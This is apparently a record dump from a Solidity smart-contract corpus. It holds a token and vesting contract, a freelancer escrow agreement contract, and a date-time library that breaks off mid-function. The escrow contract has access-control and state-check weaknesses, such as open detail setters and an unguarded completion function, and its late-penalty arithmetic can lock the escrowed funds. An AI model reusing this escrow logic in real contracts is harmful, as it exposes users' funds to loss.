mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract OperatableBasic {
function setPrimaryOperator (address addr) public;
function setSecondaryOperator (address addr) public;
function isPrimaryOperator(address addr) public view returns (bool);
function isSecondaryOperator(address addr) public view returns (bool);
}
contract Operatable is Ownable, OperatableBasic {
address public primaryOperator;
address public secondaryOperator;
modifier canOperate() {
require(msg.sender == primaryOperator || msg.sender == secondaryOperator || msg.sender == owner);
_;
}
function Operatable() public {
primaryOperator = owner;
secondaryOperator = owner;
}
function setPrimaryOperator (address addr) public onlyOwner {
primaryOperator = addr;
}
function setSecondaryOperator (address addr) public onlyOwner {
secondaryOperator = addr;
}
function isPrimaryOperator(address addr) public view returns (bool) {
return (addr == primaryOperator);
}
function isSecondaryOperator(address addr) public view returns (bool) {
return (addr == secondaryOperator);
}
}
contract XClaimable is Claimable {
function cancelOwnershipTransfer() onlyOwner public {
pendingOwner = owner;
}
}
contract VUULRTokenConfig {
string public constant NAME = "Vuulr Token";
string public constant SYMBOL = "VUU";
uint8 public constant DECIMALS = 18;
uint public constant DECIMALSFACTOR = 10 ** uint(DECIMALS);
uint public constant TOTALSUPPLY = 1000000000 * DECIMALSFACTOR;
}
contract Salvageable is Operatable {
// Salvage other tokens that are accidentally sent into this token
function emergencyERC20Drain(ERC20 oddToken, uint amount) public canOperate {
if (address(oddToken) == address(0)) {
owner.transfer(amount);
return;
}
oddToken.transfer(owner, amount);
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract VUULRToken is XClaimable, PausableToken, VUULRTokenConfig, Salvageable {
using SafeMath for uint;
string public name = NAME;
string public symbol = SYMBOL;
uint8 public decimals = DECIMALS;
bool public mintingFinished = false;
event Mint(address indexed to, uint amount);
event MintFinished();
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint _amount) canOperate canMint public returns (bool) {
require(totalSupply_.add(_amount) <= TOTALSUPPLY);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success)
{
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
}
contract VUULRVesting is XClaimable, Salvageable {
using SafeMath for uint;
struct VestingSchedule {
uint lockPeriod; // Amount of time in seconds between withdrawal periods. (EG. 6 months or 1 month)
uint numPeriods; // number of periods until done.
uint tokens; // Total amount of tokens to be vested.
uint amountWithdrawn; // The amount that has been withdrawn.
uint startTime;
}
bool public started;
VUULRToken public vestingToken;
address public vestingWallet;
uint public vestingOwing;
uint public decimals;
// Vesting schedule attached to a specific address.
mapping (address => VestingSchedule) public vestingSchedules;
event VestingScheduleRegistered(address registeredAddress, address theWallet, uint lockPeriod, uint tokens);
event Started(uint start);
event Withdraw(address registeredAddress, uint amountWithdrawn);
event VestingRevoked(address revokedAddress, uint amountWithdrawn, uint amountRefunded);
event VestingAddressChanged(address oldAddress, address newAddress);
function VUULRVesting(VUULRToken _vestingToken, address _vestingWallet) public {
require(_vestingToken != address(0));
require(_vestingWallet != address(0));
vestingToken = _vestingToken;
vestingWallet = _vestingWallet;
decimals = uint(vestingToken.decimals());
}
// Start vesting, Vesting starts now !!!
// as long as TOKEN IS NOT PAUSED
function start() public onlyOwner {
require(!started);
require(!vestingToken.paused());
started = true;
emit Started(now);
// catch up on owing transfers
if (vestingOwing > 0) {
require(vestingToken.transferFrom(vestingWallet, address(this), vestingOwing));
vestingOwing = 0;
}
}
// Register a vesting schedule to transfer SENC from a group SENC wallet to an individual
// wallet. For instance, from pre-sale wallet to individual presale contributor address.
function registerVestingSchedule(address _newAddress, uint _numDays,
uint _numPeriods, uint _tokens, uint startFrom)
public
canOperate
{
uint _lockPeriod;
// Let's not allow the common mistake....
require(_newAddress != address(0));
// Check that beneficiary is not already registered
require(vestingSchedules[_newAddress].tokens == 0);
// Some lock period sanity checks.
require(_numDays > 0);
require(_numPeriods > 0);
_lockPeriod = _numDays * 1 days;
vestingSchedules[_newAddress] = VestingSchedule({
lockPeriod : _lockPeriod,
numPeriods : _numPeriods,
tokens : _tokens,
amountWithdrawn : 0,
startTime : startFrom
});
if (started) {
require(vestingToken.transferFrom(vestingWallet, address(this), _tokens));
} else {
vestingOwing = vestingOwing.add(_tokens);
}
emit VestingScheduleRegistered(_newAddress, vestingWallet, _lockPeriod, _tokens);
}
// whichPeriod returns the vesting period we are in
// 0 - before start or not eligible
// 1 - n : the timeperiod we are in
function whichPeriod(address whom, uint time) public view returns (uint period) {
VestingSchedule memory v = vestingSchedules[whom];
if (started && (v.tokens > 0) && (time >= v.startTime)) {
period = Math.min256(1 + (time - v.startTime) / v.lockPeriod,v.numPeriods);
}
}
// Returns the amount of tokens you can withdraw
function vested(address beneficiary) public view returns (uint _amountVested) {
VestingSchedule memory _vestingSchedule = vestingSchedules[beneficiary];
// If it's past the end time, the whole amount is available.
if ((_vestingSchedule.tokens == 0) || (_vestingSchedule.numPeriods == 0) || (now < _vestingSchedule.startTime)){
return 0;
}
uint _end = _vestingSchedule.lockPeriod.mul(_vestingSchedule.numPeriods);
if (now >= _vestingSchedule.startTime.add(_end)) {
return _vestingSchedule.tokens;
}
uint period = now.sub(_vestingSchedule.startTime).div(_vestingSchedule.lockPeriod)+1;
if (period >= _vestingSchedule.numPeriods) {
return _vestingSchedule.tokens;
}
uint _lockAmount = _vestingSchedule.tokens.div(_vestingSchedule.numPeriods);
uint vestedAmount = period.mul(_lockAmount);
return vestedAmount;
}
function withdrawable(address beneficiary) public view returns (uint amount) {
return vested(beneficiary).sub(vestingSchedules[beneficiary].amountWithdrawn);
}
function withdrawVestedTokens() public {
VestingSchedule storage vestingSchedule = vestingSchedules[msg.sender];
if (vestingSchedule.tokens == 0)
return;
uint _vested = vested(msg.sender);
uint _withdrawable = withdrawable(msg.sender);
vestingSchedule.amountWithdrawn = _vested;
if (_withdrawable > 0) {
require(vestingToken.transfer(msg.sender, _withdrawable));
emit Withdraw(msg.sender, _withdrawable);
}
}
function revokeSchedule(address _addressToRevoke, address _addressToRefund) public onlyOwner {
require(_addressToRefund != 0x0);
uint _withdrawable = withdrawable(_addressToRevoke);
uint _refundable = vestingSchedules[_addressToRevoke].tokens.sub(vested(_addressToRevoke));
delete vestingSchedules[_addressToRevoke];
if (_withdrawable > 0)
require(vestingToken.transfer(_addressToRevoke, _withdrawable));
if (_refundable > 0)
require(vestingToken.transfer(_addressToRefund, _refundable));
emit VestingRevoked(_addressToRevoke, _withdrawable, _refundable);
}
function changeVestingAddress(address _oldAddress, address _newAddress) public onlyOwner {
VestingSchedule memory vestingSchedule = vestingSchedules[_oldAddress];
require(vestingSchedule.tokens > 0);
require(_newAddress != 0x0);
require(vestingSchedules[_newAddress].tokens == 0x0);
VestingSchedule memory newVestingSchedule = vestingSchedule;
delete vestingSchedules[_oldAddress];
vestingSchedules[_newAddress] = newVestingSchedule;
emit VestingAddressChanged(_oldAddress, _newAddress);
}
function emergencyERC20Drain(ERC20 oddToken, uint amount) public canOperate {
// Cannot withdraw VUULRToken if vesting started
require(!started || address(oddToken) != address(vestingToken));
super.emergencyERC20Drain(oddToken,amount);
}
}
| 199,753 | 740 |
47137bffc93c409a34f9fa220d90f646ac03aef73bcd517ed8910ff938a82246
| 23,156 |
.sol
|
Solidity
| false |
244635160
|
jurteam/lfnj-freelancer-agreement
|
529605124d85081e8db766954e991c6c307b3433
|
contracts/FreelanceAgreement_flat.sol
| 3,062 | 12,234 |
pragma solidity >=0.4.21 <0.7.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract FreelancerAgreement {
using SafeMath for uint;
//Initialise state
enum State {Unsigned, Signed, Delivered, Completed, Dispute, Closed}
State public state = State.Unsigned;
enum Roles {Customer, Freelancer}
uint private maxDeliveryDeadline; //3 months
uint private contractWarranty; //2 years
uint private contractValidity; //5 years
uint public contractWarrantyExpiration;
uint public contractValidityExpiration;
uint public deliveryDeadline;
uint public lateDeliveryPenalty;
uint public payout;
uint private secondsInADay = 86400;
//Token for escrow & voting
ERC20 public jurToken;
bytes agreementHash;
struct Party {
address partyAddress;
Roles role;
string name;
string countryOfOperation;
string postalAddress;
uint fiscalIdentificationNumber;
}
struct License {
bytes32 licenseHash;
string name;
address owner;
}
Party public customer;
Party public freelancer;
mapping (address => bool) public hasSigned;
mapping(uint => License) public licences;
uint private licenseCount = 0;
event LicenseAdded(string _name, address _owner);
event PaymentReleased(uint _payout, uint _timestamp);
event ContractCreated(bytes _agreementHash);
event ContractSigned(address _signer);
event ProjectDelievered();
event StateChange(State state, State _state, uint _timestamp);
modifier hasState(State _state) {
require(state == _state, "Invalid state");
_;
}
modifier isParty(address _sender) {
require(_sender != address(0), "Address is not a party.");
require(_sender == customer.partyAddress || _sender == freelancer.partyAddress, "Address is not a party.");
_;
}
modifier isCustomer(address _sender) {
require(_sender != address(0), "Address is not a party.");
require(_sender == customer.partyAddress, "Address is not a party.");
_;
}
//All are in days.
constructor(address _jurToken,
bytes memory _agreementHash,
uint _submittionDeadline,
uint _contractValidity,
uint _contractWarranty,
uint _lateDeliveryPenalty,
uint _totalPayout)
public
{
//Initialise JUR token
jurToken = ERC20(_jurToken);
agreementHash = _agreementHash;
maxDeliveryDeadline = _submittionDeadline;
contractWarranty = _contractWarranty;
contractValidity = _contractValidity;
lateDeliveryPenalty = _lateDeliveryPenalty;
payout = _totalPayout;
emit ContractCreated(_agreementHash);
}
function addCustomerDetails(address _partyAddress,
string memory _name,
string memory _countryOfOperation,
string memory _postalAddress,
uint _fiscalIdentificationNumber)
public
hasState(State.Unsigned)
{
require(_partyAddress != address(0), "Address cannot be empty");
require(customer.partyAddress == address(0), "Details have already been set");
customer = Party(_partyAddress, Roles.Customer, _name, _countryOfOperation, _postalAddress, _fiscalIdentificationNumber);
}
function addFreelancerDetails(address _partyAddress,
string memory _name,
string memory _countryOfOperation,
string memory _postalAddress,
uint _fiscalIdentificationNumber)
public
hasState(State.Unsigned)
{
require(_partyAddress != address(0), "Address cannot be empty");
require(freelancer.partyAddress == address(0), "Details have already been set");
freelancer = Party(_partyAddress, Roles.Freelancer, _name, _countryOfOperation, _postalAddress, _fiscalIdentificationNumber);
}
function signAgreement() public hasState(State.Unsigned) isParty(msg.sender) {
require(!hasSigned[msg.sender], "This address has already signed.");
hasSigned[msg.sender] = true;
if(msg.sender == customer.partyAddress){
require(jurToken.transferFrom(msg.sender, address(this), payout), "Could not transfer the tokens.");
}
bool allSigned = false;
if(hasSigned[customer.partyAddress] && hasSigned[freelancer.partyAddress]) {allSigned = true;}
if (allSigned) {
setState(State.Signed);
contractValidityExpiration = SafeMath.add(getNow(), contractValidity * 1 days);
contractWarrantyExpiration = SafeMath.add(getNow(), contractWarranty * 1 days);
deliveryDeadline = SafeMath.add(getNow(), maxDeliveryDeadline * 1 days);
}
emit ContractSigned(msg.sender);
}
function markProjectComplete() public isParty(msg.sender) {
setState(State.Delivered);
if(getNow() > deliveryDeadline) {
//TODO divide this by number of miliseconds in a day.
uint daysExtended = SafeMath.sub(getNow(), deliveryDeadline) / secondsInADay;
uint dailyPenalty = SafeMath.div(SafeMath.mul(lateDeliveryPenalty, payout), 100);
payout = SafeMath.sub(payout, SafeMath.mul(dailyPenalty, daysExtended));
}
emit ProjectDelievered();
}
function releasePayout() public isCustomer(msg.sender) hasState(State.Delivered) {
setState(State.Completed);
require(jurToken.transfer(freelancer.partyAddress, payout), "Could not transfer funds.");
emit PaymentReleased(payout, getNow());
}
function setState(State _state) internal {
emit StateChange(state, _state, getNow());
state = _state;
}
function uploadLicence(bytes32 _licenseHash, string memory _name) public isParty(msg.sender) {
licences[licenseCount++] = License(_licenseHash, _name, msg.sender);
emit LicenseAdded(_name, msg.sender);
}
function getNow() internal view returns (uint256) {
return now;
}
}
| 337,248 | 741 |
9c53a64a91742eed9b75940daf18a18b0ff317b3f6c22d5c0c19b72b28d40a5d
| 13,571 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/34/342c3010CE58A0db6FAA8a86Ab7Fa251bf463D05_BokkyPooBahsDateTimeLibrary.sol
| 4,528 | 13,352 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
// ----------------------------------------------------------------------------
// BokkyPooBah's DateTime Library v1.01
//
// A gas-efficient Solidity date and time library
//
// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary
//
// Tested date range 1970/01/01 to 2345/12/31
//
// Conventions:
// Unit | Range | Notes
// :-------- |:-------------:|:-----
// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC
// year | 1970 ... 2345 |
// month | 1 ... 12 |
// day | 1 ... 31 |
// hour | 0 ... 23 |
// minute | 0 ... 59 |
// second | 0 ... 59 |
// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday
//
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.
// ----------------------------------------------------------------------------
library BokkyPooBahsDateTimeLibrary {
uint256 internal constant SECONDS_PER_DAY = 24 * 60 * 60;
uint256 internal constant SECONDS_PER_HOUR = 60 * 60;
uint256 internal constant SECONDS_PER_MINUTE = 60;
int256 internal constant OFFSET19700101 = 2440588;
uint256 internal constant DOW_MON = 1;
uint256 internal constant DOW_TUE = 2;
uint256 internal constant DOW_WED = 3;
uint256 internal constant DOW_THU = 4;
uint256 internal constant DOW_FRI = 5;
uint256 internal constant DOW_SAT = 6;
uint256 internal constant DOW_SUN = 7;
// ------------------------------------------------------------------------
// Calculate the number of days from 1970/01/01 to year/month/day using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
// and subtracting the offset 2440588 so that 1970/01/01 is day 0
//
// days = day
// - 32075
// + 1461 * (year + 4800 + (month - 14) / 12) / 4
// + 367 * (month - 2 - (month - 14) / 12 * 12) / 12
// - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4
// - offset
// ------------------------------------------------------------------------
function _daysFromDate(uint256 year,
uint256 month,
uint256 day) internal pure returns (uint256 _days) {
require(year >= 1970);
int256 _year = int256(year);
int256 _month = int256(month);
int256 _day = int256(day);
int256 __days = _day -
32075 +
(1461 * (_year + 4800 + (_month - 14) / 12)) /
4 +
(367 * (_month - 2 - ((_month - 14) / 12) * 12)) /
12 -
(3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /
4 -
OFFSET19700101;
_days = uint256(__days);
}
// ------------------------------------------------------------------------
// Calculate year/month/day from the number of days since 1970/01/01 using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
// and adding the offset 2440588 so that 1970/01/01 is day 0
//
// int L = days + 68569 + offset
// int N = 4 * L / 146097
// L = L - (146097 * N + 3) / 4
// year = 4000 * (L + 1) / 1461001
// L = L - 1461 * year / 4 + 31
// month = 80 * L / 2447
// dd = L - 2447 * month / 80
// L = month / 11
// month = month + 2 - 12 * L
// year = 100 * (N - 49) + year + L
// ------------------------------------------------------------------------
function _daysToDate(uint256 _days)
internal
pure
returns (uint256 year,
uint256 month,
uint256 day)
{
int256 __days = int256(_days);
int256 L = __days + 68569 + OFFSET19700101;
int256 N = (4 * L) / 146097;
L = L - (146097 * N + 3) / 4;
int256 _year = (4000 * (L + 1)) / 1461001;
L = L - (1461 * _year) / 4 + 31;
int256 _month = (80 * L) / 2447;
int256 _day = L - (2447 * _month) / 80;
L = _month / 11;
_month = _month + 2 - 12 * L;
_year = 100 * (N - 49) + _year + L;
year = uint256(_year);
month = uint256(_month);
day = uint256(_day);
}
function timestampFromDate(uint256 year,
uint256 month,
uint256 day) internal pure returns (uint256 timestamp) {
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY;
}
function timestampFromDateTime(uint256 year,
uint256 month,
uint256 day,
uint256 hour,
uint256 minute,
uint256 second) internal pure returns (uint256 timestamp) {
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR + minute * SECONDS_PER_MINUTE + second;
}
function timestampToDate(uint256 timestamp)
internal
pure
returns (uint256 year,
uint256 month,
uint256 day)
{
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function timestampToDateTime(uint256 timestamp)
internal
pure
returns (uint256 year,
uint256 month,
uint256 day,
uint256 hour,
uint256 minute,
uint256 second)
{
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint256 secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
secs = secs % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
second = secs % SECONDS_PER_MINUTE;
}
function isValidDate(uint256 year,
uint256 month,
uint256 day) internal pure returns (bool valid) {
if (year >= 1970 && month > 0 && month <= 12) {
uint256 daysInMonth = _getDaysInMonth(year, month);
if (day > 0 && day <= daysInMonth) {
valid = true;
}
}
}
function isValidDateTime(uint256 year,
uint256 month,
uint256 day,
uint256 hour,
uint256 minute,
uint256 second) internal pure returns (bool valid) {
if (isValidDate(year, month, day)) {
if (hour < 24 && minute < 60 && second < 60) {
valid = true;
}
}
}
function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {
(uint256 year, ,) = _daysToDate(timestamp / SECONDS_PER_DAY);
leapYear = _isLeapYear(year);
}
function _isLeapYear(uint256 year) internal pure returns (bool leapYear) {
leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);
}
function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {
weekDay = getDayOfWeek(timestamp) <= DOW_FRI;
}
function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {
weekEnd = getDayOfWeek(timestamp) >= DOW_SAT;
}
function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {
(uint256 year, uint256 month,) = _daysToDate(timestamp / SECONDS_PER_DAY);
daysInMonth = _getDaysInMonth(year, month);
}
function _getDaysInMonth(uint256 year, uint256 month) internal pure returns (uint256 daysInMonth) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
daysInMonth = 31;
} else if (month != 2) {
daysInMonth = 30;
} else {
daysInMonth = _isLeapYear(year) ? 29 : 28;
}
}
// 1 = Monday, 7 = Sunday
function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {
uint256 _days = timestamp / SECONDS_PER_DAY;
dayOfWeek = ((_days + 3) % 7) + 1;
}
function getYear(uint256 timestamp) internal pure returns (uint256 year) {
(year, ,) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getMonth(uint256 timestamp) internal pure returns (uint256 month) {
(, month,) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getDay(uint256 timestamp) internal pure returns (uint256 day) {
(, , day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getHour(uint256 timestamp) internal pure returns (uint256 hour) {
uint256 secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
}
function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {
uint256 secs = timestamp % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
}
function getSecond(uint256 timestamp) internal pure returns (uint256 second) {
second = timestamp % SECONDS_PER_MINUTE;
}
function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {
(uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year += _years;
uint256 daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + (timestamp % SECONDS_PER_DAY);
require(newTimestamp >= timestamp);
}
function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {
(uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / SECONDS_PER_DAY);
month += _months;
year += (month - 1) / 12;
month = ((month - 1) % 12) + 1;
uint256 daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + (timestamp % SECONDS_PER_DAY);
require(newTimestamp >= timestamp);
}
function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp + _days * SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp + _hours * SECONDS_PER_HOUR;
require(newTimestamp >= timestamp);
}
function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE;
require(newTimestamp >= timestamp);
}
function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp + _seconds;
require(newTimestamp >= timestamp);
}
function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {
(uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year -= _years;
uint256 daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + (timestamp % SECONDS_PER_DAY);
require(newTimestamp <= timestamp);
}
function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {
(uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint256 yearMonth = year * 12 + (month - 1) - _months;
year = yearMonth / 12;
month = (yearMonth % 12) + 1;
uint256 daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + (timestamp % SECONDS_PER_DAY);
require(newTimestamp <= timestamp);
}
function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp - _days * SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp - _hours * SECONDS_PER_HOUR;
require(newTimestamp <= timestamp);
}
function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE;
require(newTimestamp <= timestamp);
}
function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp - _seconds;
require(newTimestamp <= timestamp);
}
function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {
require(fromTimestamp <= toTimestamp);
(uint256 fromYear, ,) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(uint256 toYear, ,) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_years = toYear - fromYear;
}
function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {
require(fromTimestamp <= toTimestamp);
